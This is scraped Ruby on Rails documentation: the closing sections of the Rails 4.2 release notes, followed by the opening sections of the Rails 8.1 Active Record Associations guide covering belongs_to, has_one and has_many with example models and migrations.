* Deprecated the `only_path` option on `*_path` helpers. ([Commit](https://github.com/rails/rails/commit/aa1fadd48fb40dd9396a383696134a259aa59db9))

* Deprecated `assert_tag`, `assert_no_tag`, `find_tag` and `find_all_tag` in favor of `assert_select`. ([Commit](https://github.com/rails/rails-dom-testing/commit/b12850bc5ff23ba4b599bf2770874dd4f11bf750))

* Deprecated support for setting the `:to` option of a router to a symbol or a string that does not contain a "#" character:

  ```
  get '/posts', to: MyRackApp    => (No change necessary)
  get '/posts', to: 'post#index' => (No change necessary)
  get '/posts', to: 'posts'      => get '/posts', controller: :posts
  get '/posts', to: :index       => get '/posts', action: :index
  ```

  ([Commit](https://github.com/rails/rails/commit/cc26b6b7bccf0eea2e2c1a9ebdcc9d30ca7390d9))

* Deprecated support for string keys in URL helpers:

  ```
  # bad
  root_path('controller' => 'posts', 'action' => 'index')

  # good
  root_path(controller: 'posts', action: 'index')
  ```

  ([Pull Request](https://github.com/rails/rails/pull/17743))

### [5.3. Notable changes](#action-pack-notable-changes)

* The `*_filter` family of methods have been removed from the documentation. Their usage is discouraged in favor of the `*_action` family of methods:

  ```
  after_filter          => after_action
  append_after_filter   => append_after_action
  append_around_filter  => append_around_action
  append_before_filter  => append_before_action
  around_filter         => around_action
  before_filter         => before_action
  prepend_after_filter  => prepend_after_action
  prepend_around_filter => prepend_around_action
  prepend_before_filter => prepend_before_action
  skip_after_filter     => skip_after_action
  skip_around_filter    => skip_around_action
  skip_before_filter    => skip_before_action
  skip_filter           => skip_action_callback
  ```

  If your application currently depends on these methods, you should use the replacement `*_action` methods instead. These methods will be deprecated in the future and will eventually be removed from Rails.

  (Commit [1](https://github.com/rails/rails/commit/6c5f43bab8206747a8591435b2aa0ff7051ad3de), [2](https://github.com/rails/rails/commit/489a8f2a44dc9cea09154ee1ee2557d1f037c7d4))

* `render nothing: true` or rendering a `nil` body no longer add a single space padding to the response body. ([Pull Request](https://github.com/rails/rails/pull/14883))

* Rails now automatically includes the template's digest in ETags. ([Pull Request](https://github.com/rails/rails/pull/16527))

* Segments that are passed into URL helpers are now automatically escaped. ([Commit](https://github.com/rails/rails/commit/5460591f0226a9d248b7b4f89186bd5553e7768f))

* Introduced the `always_permitted_parameters` option to configure which parameters are permitted globally. The default value of this configuration is `['controller', 'action']`. ([Pull Request](https://github.com/rails/rails/pull/15933))

* Added the HTTP method `MKCALENDAR` from [RFC 4791](https://tools.ietf.org/html/rfc4791). ([Pull Request](https://github.com/rails/rails/pull/15121))

* `*_fragment.action_controller` notifications now include the controller and action name in the payload. ([Pull Request](https://github.com/rails/rails/pull/14137))

* Improved the Routing Error page with fuzzy matching for route search. ([Pull Request](https://github.com/rails/rails/pull/14619))

* Added an option to disable logging of CSRF failures. ([Pull Request](https://github.com/rails/rails/pull/14280))

* When the Rails server is set to serve static assets, gzip assets will now be served if the client supports it and a pre-generated gzip file (`.gz`) is on disk. By default the asset pipeline generates `.gz` files for all compressible assets. Serving gzip files minimizes data transfer and speeds up asset requests. Always [use a CDN](https://guides.rubyonrails.org/v4.2/asset_pipeline.html#cdns) if you are serving assets from your Rails server in production. ([Pull Request](https://github.com/rails/rails/pull/16466))

* When calling the `process` helpers in an integration test the path needs to have a leading slash. Previously you could omit it but that was a byproduct of the implementation and not an intentional feature, e.g.:

  ```
  test "list all posts" do
    get "/posts"
    assert_response :success
  end
  ```

## [6. Action View](#action-view)

Please refer to the [Changelog](https://github.com/rails/rails/blob/4-2-stable/actionview/CHANGELOG.md) for detailed changes.

### [6.1. Deprecations](#action-view-deprecations)

* Deprecated `AbstractController::Base.parent_prefixes`. Override `AbstractController::Base.local_prefixes` when you want to change where to find views. ([Pull Request](https://github.com/rails/rails/pull/15026))

* Deprecated `ActionView::Digestor#digest(name, format, finder, options = {})`. Arguments should be passed as a hash instead. ([Pull Request](https://github.com/rails/rails/pull/14243))

### [6.2. Notable changes](#action-view-notable-changes)

* `render "foo/bar"` now expands to `render template: "foo/bar"` instead of `render file: "foo/bar"`. ([Pull Request](https://github.com/rails/rails/pull/16888))

* The form helpers no longer generate a `<div>` element with inline CSS around the hidden fields. ([Pull Request](https://github.com/rails/rails/pull/14738))

* Introduced a `#{partial_name}_iteration` special local variable for use with partials that are rendered with a collection. It provides access to the current state of the iteration via the `index`, `size`, `first?` and `last?` methods. ([Pull Request](https://github.com/rails/rails/pull/7698))

* Placeholder I18n follows the same convention as `label` I18n. ([Pull Request](https://github.com/rails/rails/pull/16438))

## [7. Action Mailer](#action-mailer)

Please refer to the [Changelog](https://github.com/rails/rails/blob/4-2-stable/actionmailer/CHANGELOG.md) for detailed changes.

### [7.1. Deprecations](#action-mailer-deprecations)

* Deprecated `*_path` helpers in mailers. Always use `*_url` helpers instead. ([Pull Request](https://github.com/rails/rails/pull/15840))

* Deprecated `deliver` / `deliver!` in favor of `deliver_now` / `deliver_now!`. ([Pull Request](https://github.com/rails/rails/pull/16582))

### [7.2. Notable changes](#action-mailer-notable-changes)

* `link_to` and `url_for` generate absolute URLs by default in templates, it is no longer needed to pass `only_path: false`. ([Commit](https://github.com/rails/rails/commit/9685080a7677abfa5d288a81c3e078368c6bb67c))

* Introduced `deliver_later` which enqueues a job on the application's queue to deliver emails asynchronously. ([Pull Request](https://github.com/rails/rails/pull/16485))

* Added the `show_previews` configuration option for enabling mailer previews outside of the development environment. ([Pull Request](https://github.com/rails/rails/pull/15970))

## [8. Active Record](#active-record)

Please refer to the [Changelog](https://github.com/rails/rails/blob/4-2-stable/activerecord/CHANGELOG.md) for detailed changes.

### [8.1. Removals](#active-record-removals)

* Removed `cache_attributes` and friends. All attributes are cached. ([Pull Request](https://github.com/rails/rails/pull/15429))

* Removed deprecated method `ActiveRecord::Base.quoted_locking_column`. ([Pull Request](https://github.com/rails/rails/pull/15612))

* Removed deprecated `ActiveRecord::Migrator.proper_table_name`. Use the `proper_table_name` instance method on `ActiveRecord::Migration` instead. ([Pull Request](https://github.com/rails/rails/pull/15512))

* Removed unused `:timestamp` type. Transparently alias it to `:datetime` in all cases. Fixes inconsistencies when column types are sent outside of Active Record, such as for XML serialization. ([Pull Request](https://github.com/rails/rails/pull/15184))

### [8.2. Deprecations](#active-record-deprecations)

* Deprecated swallowing of errors inside `after_commit` and `after_rollback`. ([Pull Request](https://github.com/rails/rails/pull/16537))

* Deprecated broken support for automatic detection of counter caches on `has_many :through` associations. You should instead manually specify the counter cache on the `has_many` and `belongs_to` associations for the through records. ([Pull Request](https://github.com/rails/rails/pull/15754))

* Deprecated passing Active Record objects to `.find` or `.exists?`. Call `id` on the objects first. (Commit [1](https://github.com/rails/rails/commit/d92ae6ccca3bcfd73546d612efaea011270bd270), [2](https://github.com/rails/rails/commit/d35f0033c7dec2b8d8b52058fb8db495d49596f7))

* Deprecated half-baked support for PostgreSQL range values with excluding beginnings. We currently map PostgreSQL ranges to Ruby ranges. This conversion is not fully possible because Ruby ranges do not support excluded beginnings.

  The current solution of incrementing the beginning is not correct and is now deprecated. For subtypes where we don't know how to increment (e.g. `succ` is not defined) it will raise an `ArgumentError` for ranges with excluding beginnings. ([Commit](https://github.com/rails/rails/commit/91949e48cf41af9f3e4ffba3e5eecf9b0a08bfc3))

* Deprecated calling `DatabaseTasks.load_schema` without a connection. Use `DatabaseTasks.load_schema_current` instead. ([Commit](https://github.com/rails/rails/commit/f15cef67f75e4b52fd45655d7c6ab6b35623c608))

* Deprecated `sanitize_sql_hash_for_conditions` without replacement. Using a `Relation` for performing queries and updates is the preferred API. ([Commit](https://github.com/rails/rails/commit/d5902c9e))

* Deprecated `add_timestamps` and `t.timestamps` without passing the `:null` option. The default of `null: true` will change in Rails 5 to `null: false`. ([Pull Request](https://github.com/rails/rails/pull/16481))

* Deprecated `Reflection#source_macro` without replacement as it is no longer needed in Active Record. ([Pull Request](https://github.com/rails/rails/pull/16373))

* Deprecated `serialized_attributes` without replacement. ([Pull Request](https://github.com/rails/rails/pull/15704))

* Deprecated returning `nil` from `column_for_attribute` when no column exists. It will return a null object in Rails 5.0. ([Pull Request](https://github.com/rails/rails/pull/15878))

* Deprecated using `.joins`, `.preload` and `.eager_load` with associations that depend on the instance state (i.e. those defined with a scope that takes an argument) without replacement. ([Commit](https://github.com/rails/rails/commit/ed56e596a0467390011bc9d56d462539776adac1))

### [8.3. Notable changes](#active-record-notable-changes)

* `SchemaDumper` uses `force: :cascade` on `create_table`. This makes it possible to reload a schema when foreign keys are in place.

* Added a `:required` option to singular associations, which defines a presence validation on the association. ([Pull Request](https://github.com/rails/rails/pull/16056))

* `ActiveRecord::Dirty` now detects in-place changes to mutable values. Serialized attributes on Active Record models are no longer saved when unchanged. This also works with other types such as string columns and json columns on PostgreSQL. (Pull Requests [1](https://github.com/rails/rails/pull/15674), [2](https://github.com/rails/rails/pull/15786), [3](https://github.com/rails/rails/pull/15788))

* Introduced the `db:purge` Rake task to empty the database for the current environment. ([Commit](https://github.com/rails/rails/commit/e2f232aba15937a4b9d14bd91e0392c6d55be58d))

* Introduced `ActiveRecord::Base#validate!` that raises `ActiveRecord::RecordInvalid` if the record is invalid. ([Pull Request](https://github.com/rails/rails/pull/8639))

* Introduced `validate` as an alias for `valid?`. ([Pull Request](https://github.com/rails/rails/pull/14456))

* `touch` now accepts multiple attributes to be touched at once. ([Pull Request](https://github.com/rails/rails/pull/14423))

* The PostgreSQL adapter now supports the `jsonb` datatype in PostgreSQL 9.4+. ([Pull Request](https://github.com/rails/rails/pull/16220))

* The PostgreSQL and SQLite adapters no longer add a default limit of 255 characters on string columns. ([Pull Request](https://github.com/rails/rails/pull/14579))

* Added support for the `citext` column type in the PostgreSQL adapter. ([Pull Request](https://github.com/rails/rails/pull/12523))

* Added support for user-created range types in the PostgreSQL adapter. ([Commit](https://github.com/rails/rails/commit/4cb47167e747e8f9dc12b0ddaf82bdb68c03e032))

* `sqlite3:///some/path` now resolves to the absolute system path `/some/path`. For relative paths, use `sqlite3:some/path` instead. (Previously, `sqlite3:///some/path` resolved to the relative path `some/path`. This behavior was deprecated on Rails 4.1). ([Pull Request](https://github.com/rails/rails/pull/14569))

* Added support for fractional seconds for MySQL 5.6 and above. (Pull Request [1](https://github.com/rails/rails/pull/8240), [2](https://github.com/rails/rails/pull/14359))

* Added `ActiveRecord::Base#pretty_print` to pretty print models. ([Pull Request](https://github.com/rails/rails/pull/15172))

* `ActiveRecord::Base#reload` now behaves the same as `m = Model.find(m.id)`, meaning that it no longer retains the extra attributes from custom `SELECT`s. ([Pull Request](https://github.com/rails/rails/pull/15866))

* `ActiveRecord::Base#reflections` now returns a hash with string keys instead of symbol keys. ([Pull Request](https://github.com/rails/rails/pull/17718))

* The `references` method in migrations now supports a `type` option for specifying the type of the foreign key (e.g. `:uuid`). ([Pull Request](https://github.com/rails/rails/pull/16231))

## [9. Active Model](#active-model)

Please refer to the [Changelog](https://github.com/rails/rails/blob/4-2-stable/activemodel/CHANGELOG.md) for detailed changes.

### [9.1. Removals](#active-model-removals)

* Removed deprecated `Validator#setup` without replacement. ([Pull Request](https://github.com/rails/rails/pull/10716))

### [9.2. Deprecations](#active-model-deprecations)

* Deprecated `reset_#{attribute}` in favor of `restore_#{attribute}`. ([Pull Request](https://github.com/rails/rails/pull/16180))

* Deprecated `ActiveModel::Dirty#reset_changes` in favor of `clear_changes_information`. ([Pull Request](https://github.com/rails/rails/pull/16180))

### [9.3. Notable changes](#active-model-notable-changes)

* Introduced `validate` as an alias for `valid?`. ([Pull Request](https://github.com/rails/rails/pull/14456))

* Introduced the `restore_attributes` method in `ActiveModel::Dirty` to restore the changed (dirty) attributes to their previous values. (Pull Request [1](https://github.com/rails/rails/pull/14861), [2](https://github.com/rails/rails/pull/16180))

* `has_secure_password` no longer disallows blank passwords (i.e. passwords that contains only spaces) by default. ([Pull Request](https://github.com/rails/rails/pull/16412))

* `has_secure_password` now verifies that the given password is less than 72 characters if validations are enabled. ([Pull Request](https://github.com/rails/rails/pull/15708))

## [10. Active Support](#active-support)

Please refer to the [Changelog](https://github.com/rails/rails/blob/4-2-stable/activesupport/CHANGELOG.md) for detailed changes.

### [10.1. Removals](#removals)

* Removed deprecated `Numeric#ago`, `Numeric#until`, `Numeric#since`, `Numeric#from_now`. ([Commit](https://github.com/rails/rails/commit/f1eddea1e3f6faf93581c43651348f48b2b7d8bb))

* Removed deprecated string based terminators for `ActiveSupport::Callbacks`. ([Pull Request](https://github.com/rails/rails/pull/15100))

### [10.2. Deprecations](#deprecations)

* Deprecated `Kernel#silence_stderr`, `Kernel#capture` and `Kernel#quietly` without replacement. ([Pull Request](https://github.com/rails/rails/pull/13392))

* Deprecated `Class#superclass_delegating_accessor`, use `Class#class_attribute` instead. ([Pull Request](https://github.com/rails/rails/pull/14271))

* Deprecated `ActiveSupport::SafeBuffer#prepend!` as `ActiveSupport::SafeBuffer#prepend` now performs the same function. ([Pull Request](https://github.com/rails/rails/pull/14529))

### [10.3. Notable changes](#notable-changes)

* Introduced a new configuration option `active_support.test_order` for specifying the order test cases are executed. This option currently defaults to `:sorted` but will be changed to `:random` in Rails 5.0. ([Commit](https://github.com/rails/rails/commit/53e877f7d9291b2bf0b8c425f9e32ef35829f35b))

* `Object#try` and `Object#try!` can now be used without an explicit receiver in the block. ([Commit](https://github.com/rails/rails/commit/5e51bdda59c9ba8e5faf86294e3e431bd45f1830), [Pull Request](https://github.com/rails/rails/pull/17361))

* The `travel_to` test helper now truncates the `usec` component to 0. ([Commit](https://github.com/rails/rails/commit/9f6e82ee4783e491c20f5244a613fdeb4024beb5))

* Introduced `Object#itself` as an identity function. (Commit [1](https://github.com/rails/rails/commit/702ad710b57bef45b081ebf42e6fa70820fdd810), [2](https://github.com/rails/rails/commit/64d91122222c11ad3918cc8e2e3ebc4b0a03448a))

* `Object#with_options` can now be used without an explicit receiver in the block. ([Pull Request](https://github.com/rails/rails/pull/16339))

* Introduced `String#truncate_words` to truncate a string by a number of words. ([Pull Request](https://github.com/rails/rails/pull/16190))

* Added `Hash#transform_values` and `Hash#transform_values!` to simplify a common pattern where the values of a hash must change, but the keys are left the same. ([Pull Request](https://github.com/rails/rails/pull/15819))

* The `humanize` inflector helper now strips any leading underscores. ([Commit](https://github.com/rails/rails/commit/daaa21bc7d20f2e4ff451637423a25ff2d5e75c7))

* Introduced `Concern#class_methods` as an alternative to `module ClassMethods`, as well as `Kernel#concern` to avoid the `module Foo; extend ActiveSupport::Concern; end` boilerplate. ([Commit](https://github.com/rails/rails/commit/b16c36e688970df2f96f793a759365b248b582ad))

* New [guide](autoloading_and_reloading_constants_classic_mode.html) about constant autoloading and reloading.

## [11. Credits](#credits)

See the [full list of contributors to Rails](https://contributors.rubyonrails.org/) for the many people who spent many hours making Rails the stable and robust framework it is today. Kudos to all of them.

***

***

[Back to top](#main-skip-link)

----
url: https://guides.rubyonrails.org/v8.1/association_basics.html
----

***

## [1. Associations Overview](#associations-overview)

Active Record associations allow you to define relationships between models. *Associations* are implemented as special macro style calls that make it easy to tell Rails how your models relate to each other, which helps you manage your data more effectively, and makes common operations simpler and easier to read.

A macro-style call is a method that generates or modifies other methods at runtime, allowing for concise and expressive declarations of functionality, such as defining model associations in Rails. For example, `has_many :comments`.

When you set up an association, Rails helps define and manage the [Primary Key](https://en.wikipedia.org/wiki/Primary_key) and [Foreign Key](https://en.wikipedia.org/wiki/Foreign_key) relationships between instances of the two models, while the database ensures that your data stays consistent and properly linked.

This makes it easy to keep track of which records are related. It also adds useful methods to your models so you can work with related data more easily.

Consider a simple Rails application with models for authors and books.

### [1.1. Without Associations](#without-associations)

Without associations, creating and deleting books for that author would require a tedious and manual process. Here's what that would look like:

```
class CreateAuthors < ActiveRecord::Migration[8.1]
  def change
    create_table :authors do |t|
      t.string :name
      t.timestamps
    end

    create_table :books do |t|
      t.references :author
      t.datetime :published_at
      t.timestamps
    end
  end
end
```

```
class Author < ApplicationRecord
end

class Book < ApplicationRecord
end
```

To add a new book for an existing author, you'd need to provide the `author_id` value when creating the book.

```
@book = Book.create(author_id: @author.id, published_at: Time.now)
```

To delete an author and ensure all their books are also deleted, you'd need to retrieve all the author's `books`, loop through each `book` to destroy it, and then destroy the author.

```
@books = Book.where(author_id: @author.id)
@books.each do |book|
  book.destroy
end
@author.destroy
```

### [1.2. Using Associations](#using-associations)

However, with associations, we can streamline these operations, as well as others, by explicitly informing Rails about the relationship between the two models. Here's the revised code for setting up authors and books using associations:

```
class Author < ApplicationRecord
  has_many :books, dependent: :destroy
end

class Book < ApplicationRecord
  belongs_to :author
end
```

With this change, creating a new book for a particular author is simpler:

```
@book = @author.books.create(published_at: Time.now)
```

Deleting an author and all of its books is much easier:

```
@author.destroy
```

When you set up an association in Rails, you still need to create a [migration](active_record_migrations.html) to ensure that the database is properly configured to handle the association. This migration will need to add the necessary foreign key columns to your database tables.

For example, if you set up a `belongs_to :author` association in the `Book` model, you would create a migration to add the `author_id` column to the `books` table:

```
rails generate migration AddAuthorToBooks author:references
```

This migration will add the `author_id` column and set up the foreign key relationship in the database, ensuring that your models and database stay in sync.

To learn more about the different types of associations, you can read the next section of this guide. Following that, you'll find some tips and tricks for working with associations. Finally, there's a complete reference to the methods and options for associations in Rails.

## [2. Types of Associations](#types-of-associations)

Rails supports six types of associations, each with a particular use-case in mind.

Here is a list of all of the supported types with a link to their API docs for more detailed information on how to use them, their method parameters, etc.

* [`belongs_to`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Associations/ClassMethods.html#method-i-belongs_to)
* [`has_one`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Associations/ClassMethods.html#method-i-has_one)
* [`has_many`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Associations/ClassMethods.html#method-i-has_many)
* [`has_many :through`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Associations/ClassMethods.html#method-i-has_many)
* [`has_one :through`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Associations/ClassMethods.html#method-i-has_one)
* [`has_and_belongs_to_many`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Associations/ClassMethods.html#method-i-has_and_belongs_to_many)

In the remainder of this guide, you'll learn how to declare and use the various forms of associations. First, let's take a quick look at the situations where each association type is appropriate.

### [2.1. `belongs_to`](#belongs-to)

A [`belongs_to`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Associations/ClassMethods.html#method-i-belongs_to) association sets up a relationship with another model, such that each instance of the declaring model "belongs to" one instance of the other model. For example, if your application includes authors and books, and each book can be assigned to exactly one author, you'd declare the book model this way:

```
class Book < ApplicationRecord
  belongs_to :author
end
```

A `belongs_to` association *must* use the singular term. If you use the plural form, like `belongs_to :authors` in the `Book` model, and try to create a book with `Book.create(authors: @author)`, Rails will give you an "uninitialized constant Book::Authors" error. This happens because Rails automatically infers the class name from the association name. If the association name is `:authors`, Rails will look for a class named `Authors` instead of `Author`.

The corresponding migration might look like this:

```
class CreateBooks < ActiveRecord::Migration[8.1]
  def change
    create_table :authors do |t|
      t.string :name
      t.timestamps
    end

    create_table :books do |t|
      t.belongs_to :author
      t.datetime :published_at
      t.timestamps
    end
  end
end
```

In database terms, the `belongs_to` association says that this model's table contains a column which represents a reference to another table. This can be used to set up one-to-one or one-to-many relations, depending on the setup. If the table *of the other class* contains the reference in a one-to-one relation, then you should use `has_one` instead.

When used alone, `belongs_to` produces a one-directional one-to-one relationship. Therefore each book in the above example "knows" its author, but the authors don't know about their books. To set up a [bi-directional association](#bi-directional-associations) - use `belongs_to` in combination with a `has_one` or `has_many` on the other model, in this case the Author model.

By default `belongs_to` validates the presence of the associated record to guarantee reference consistency.\
\
If `optional` is set to true in the model, then `belongs_to` does not guarantee reference consistency. This means that the foreign key in one table might not reliably point to a valid primary key in the referenced table.

```
class Book < ApplicationRecord
  belongs_to :author, optional: true
end
```

Hence, depending on the use case, you might also need to add a database-level foreign key constraint on the reference column, like this:

```
create_table :books do |t|
  t.belongs_to :author, foreign_key: true
  # ...
end
```

This ensures that even though `optional: true` allows `author_id` to be NULL, when it's not NULL, it must still reference a valid record in the authors table.

#### [2.1.1. Methods Added by `belongs_to`](#methods-added-by-belongs-to)

When you declare a `belongs_to` association, the declaring class automatically gains numerous methods related to the association. Some of these are:

* `association=(associate)`
* `build_association(attributes = {})`
* `create_association(attributes = {})`
* `create_association!(attributes = {})`
* `reload_association`
* `reset_association`
* `association_changed?`
* `association_previously_changed?`

We'll discuss some of the common methods, but you can find an exhaustive list in the [ActiveRecord Associations API](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Associations/ClassMethods.html#method-i-belongs_to).

In all of the above methods, `association` is replaced with the symbol passed as the first argument to `belongs_to`. For example, given the declaration:

```
# app/models/book.rb
class Book < ApplicationRecord
  belongs_to :author
end

# app/models/author.rb
class Author < ApplicationRecord
  has_many :books
  validates :name, presence: true
end
```

An instance of the `Book` model will have the following methods:

* `author`
* `author=`
* `build_author`
* `create_author`
* `create_author!`
* `reload_author`
* `reset_author`
* `author_changed?`
* `author_previously_changed?`

When initializing a new `has_one` or `belongs_to` association you must use the `build_` prefix to build the association, rather than the `association.build` method that would be used for `has_many` or `has_and_belongs_to_many` associations. To create one, use the `create_` prefix.

##### [2.1.1.1. Retrieving the association](#methods-added-by-belongs-to-retrieving-the-association)

The `association` method returns the associated object, if any. If no associated object is found, it returns `nil`.

```
@author = @book.author
```

If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), call `#reload_association` on the parent object.

```
@author = @book.reload_author
```

To unload the cached version of the associated object—causing the next access, if any, to query it from the database—call `#reset_association` on the parent object.

```
@book.reset_author
```

##### [2.1.1.2. Assigning the Association](#methods-added-by-belongs-to-assigning-the-association)

The `association=` method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from the associated object and setting this object's foreign key to the same value.

```
@book.author = @author
```

The `build_association` method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object's foreign key will be set, but the associated object will *not* yet be saved.

```
@author = @book.build_author(author_number: 123,
                             author_name: "John Doe")
```

The `create_association` method takes it a step further and also saves the associated object once it passes all of the validations specified on the associated model.

```
@author = @book.create_author(author_number: 123,
                              author_name: "John Doe")
```

Finally, `create_association!` does the same, but raises `ActiveRecord::RecordInvalid` if the record is invalid.

```
# This will raise ActiveRecord::RecordInvalid because the name is blank
begin
  @book.create_author!(author_number: 123, name: "")
rescue ActiveRecord::RecordInvalid => e
  puts e.message
end
```

```
irb> raise_validation_error: Validation failed: Name can't be blank (ActiveRecord::RecordInvalid)
```

##### [2.1.1.3. Checking for Association Changes](#checking-for-association-changes)

The `association_changed?` method returns true if a new associated object has been assigned and the foreign key will be updated in the next save.

The `association_previously_changed?` method returns true if the previous save updated the association to reference a new associate object.

```
@book.author # => #<Author author_number: 123, author_name: "John Doe">
@book.author_changed? # => false
@book.author_previously_changed? # => false

@book.author = Author.second # => #<Author author_number: 456, author_name: "Jane Smith">
@book.author_changed? # => true

@book.save!
@book.author_changed? # => false
@book.author_previously_changed? # => true
```

Do not confuse `model.association_changed?` with `model.association.changed?`. The former checks if the association has been replaced with a new record, while the latter tracks changes to the attributes of the association.

##### [2.1.1.4. Checking for Existing Associations](#methods-added-by-belongs-to-checking-for-existing-associations)

You can see if any associated objects exist by using the `association.nil?` method:

```
if @book.author.nil?
  @msg = "No author found for this book"
end
```

##### [2.1.1.5. Saving Behavior of Associated Objects](#methods-added-by-belongs-to-saving-behavior-of-associated-objects)

Assigning an object to a `belongs_to` association does *not* automatically save either the current object or the associated object. However, when you save the current object, the association is saved as well.

### [2.2. `has_one`](#has-one)

A [`has_one`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Associations/ClassMethods.html#method-i-has_one) association indicates that one other model has a reference to this model. That model can be fetched through this association.

For example, if each supplier in your application has only one account, you'd declare the supplier model like this:

```
class Supplier < ApplicationRecord
  has_one :account
end
```

The main difference from `belongs_to` is that the link column (in this case `supplier_id`) is located in the other table, not the table where the `has_one` is declared.

The corresponding migration might look like this:

```
class CreateSuppliers < ActiveRecord::Migration[8.1]
  def change
    create_table :suppliers do |t|
      t.string :name
      t.timestamps
    end

    create_table :accounts do |t|
      t.belongs_to :supplier
      t.string :account_number
      t.timestamps
    end
  end
end
```

The `has_one` association creates a one-to-one match with another model. In database terms, this association says that the other class contains the foreign key. If this class contains the foreign key, then you should use `belongs_to` instead.

Depending on the use case, you might also need to create a unique index and/or a foreign key constraint on the supplier column for the accounts table. The unique index ensures that each supplier is associated with only one account and allows you to query in an efficient manner, while the foreign key constraint ensures that the `supplier_id` in the `accounts` table refers to a valid `supplier` in the `suppliers` table. This enforces the association at the database level.

```
create_table :accounts do |t|
  t.belongs_to :supplier, index: { unique: true }, foreign_key: true
  # ...
end
```

This relation can be [bi-directional](#bi-directional-associations) when used in combination with `belongs_to` on the other model.

#### [2.2.1. Methods Added by ](#methods-added-by-has-one)[`has_one`](#has-one)

When you declare a `has_one` association, the declaring class automatically gains numerous methods related to the association. Some of these are:

* `association`
* `association=(associate)`
* `build_association(attributes = {})`
* `create_association(attributes = {})`
* `create_association!(attributes = {})`
* `reload_association`
* `reset_association`

We'll discuss some of the common methods, but you can find an exhaustive list in the [ActiveRecord Associations API](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Associations/ClassMethods.html#method-i-has_one).

Like with the [`belongs_to` references](#methods-added-by-belongs-to), in all of these methods, `association` is replaced with the symbol passed as the first argument to `has_one`. For example, given the declaration:

```
# app/models/supplier.rb
class Supplier < ApplicationRecord
  has_one :account
end

# app/models/account.rb
class Account < ApplicationRecord
  validates :terms, presence: true
  belongs_to :supplier
end
```

Each instance of the `Supplier` model will have these methods:

* `account`
* `account=`
* `build_account`
* `create_account`
* `create_account!`
* `reload_account`
* `reset_account`

When initializing a new `has_one` or `belongs_to` association you must use the `build_` prefix to build the association, rather than the `association.build` method that would be used for `has_many` or `has_and_belongs_to_many` associations. To create one, use the `create_` prefix.

##### [2.2.1.1. Retrieving the association](#methods-added-by-has-one-retrieving-the-association)

The `association` method returns the associated object, if any. If no associated object is found, it returns `nil`.

```
@account = @supplier.account
```

If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), call `#reload_association` on the parent object.

```
@account = @supplier.reload_account
```

To unload the cached version of the associated object—forcing the next access, if any, to query it from the database—call `#reset_association` on the parent object.

```
@supplier.reset_account
```

##### [2.2.1.2. Assigning the Association](#methods-added-by-has-one-assigning-the-association)

The `association=` method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from this object and setting the associated object's foreign key to the same value.

```
@supplier.account = @account
```

The `build_association` method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object's foreign key will be set, but the associated object will *not* yet be saved.

```
@account = @supplier.build_account(terms: "Net 30")
```

The `create_association` method takes it a step further and also saves the associated object once it passes all of the validations specified on the associated model.

```
@account = @supplier.create_account(terms: "Net 30")
```

Finally, `create_association!` does the same as `create_association` above, but raises `ActiveRecord::RecordInvalid` if the record is invalid.

```
# This will raise ActiveRecord::RecordInvalid because the terms is blank
begin
  @supplier.create_account!(terms: "")
rescue ActiveRecord::RecordInvalid => e
  puts e.message
end
```

```
irb> raise_validation_error: Validation failed: Terms can't be blank (ActiveRecord::RecordInvalid)
```

##### [2.2.1.3. Checking for Existing Associations](#methods-added-by-has-one-checking-for-existing-associations)

You can see if any associated objects exist by using the `association.nil?` method:

```
if @supplier.account.nil?
  @msg = "No account found for this supplier"
end
```

##### [2.2.1.4. Saving Behavior of Associated Objects](#methods-added-by-has-one-saving-behavior-of-associated-objects)

When you assign an object to a `has_one` association, that object is automatically saved to update its foreign key. Additionally, any object being replaced is also automatically saved, as its foreign key will change too.

If either of these saves fails due to validation errors, the assignment statement returns `false`, and the assignment itself is canceled.

If the parent object (the one declaring the `has_one` association) is unsaved (that is, `new_record?` returns `true`) then the child objects are not saved immediately. They will be automatically saved when the parent object is saved.

If you want to assign an object to a `has_one` association without saving the object, use the `build_association` method. This method creates a new, unsaved instance of the associated object, allowing you to work with it before deciding to save it.

Use `autosave: false` when you want to control the saving behavior of the associated objects for the model. This setting prevents the associated object from being saved automatically when the parent object is saved. In contrast, use `build_association` when you need to work with an unsaved associated object and delay its persistence until you're ready.

### [2.3. `has_many`](#has-many)

A [`has_many`](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/Associations/ClassMethods.html#method-i-has_many) association is similar to `has_one`, but indicates a one-to-many relationship with another model. You'll often find this association on the "other side" of a `belongs_to` association. This association indicates that each instance of the model has zero or more instances of another model. For example, in an application containing authors and books, the author model could be declared like this:

```
class Author < ApplicationRecord
  has_many :books
end
```

`has_many` establishes a one-to-many relationship between models, allowing each instance of the declaring model (`Author`) to have multiple instances of the associated model (`Book`).

Unlike a `has_one` and `belongs_to` association, the name of the other model is pluralized when declaring a `has_many` association.

The corresponding migration might look like this:

```
class CreateAuthors < ActiveRecord::Migration[8.1]
  def change
    create_table :authors do |t|
      t.string :name
      t.timestamps
    end

    create_table :books do |t|
      t.belongs_to :author
      t.datetime :published_at
      t.timestamps
    end
  end
end
```

The `has_many` association creates a one-to-many relationship with another model. In database terms, this association says that the other class will have a foreign key that refers to instances of this class.

In this migration, the `authors` table is created with a `name` column to store the names of authors. The `books` table is also created, and it includes a `belongs_to :author` association. This association establishes a foreign key relationship between the `books` and `authors` tables. Specifically, the `author_id` column in the `books` table acts as a foreign key, referencing the `id` column in the `authors` table. By including this `belongs_to :author` association in the `books` table, we ensure that each book is associated with a single author, enabling a `has_many` association from the `Author` model. This setup allows each author to have multiple associated books.

Depending on the use case, it's usually a good idea to create a non-unique index and optionally a foreign key constraint on the author column for the books table. Adding an index on the `author_id` column improves query performance when retrieving books associated with a specific author.

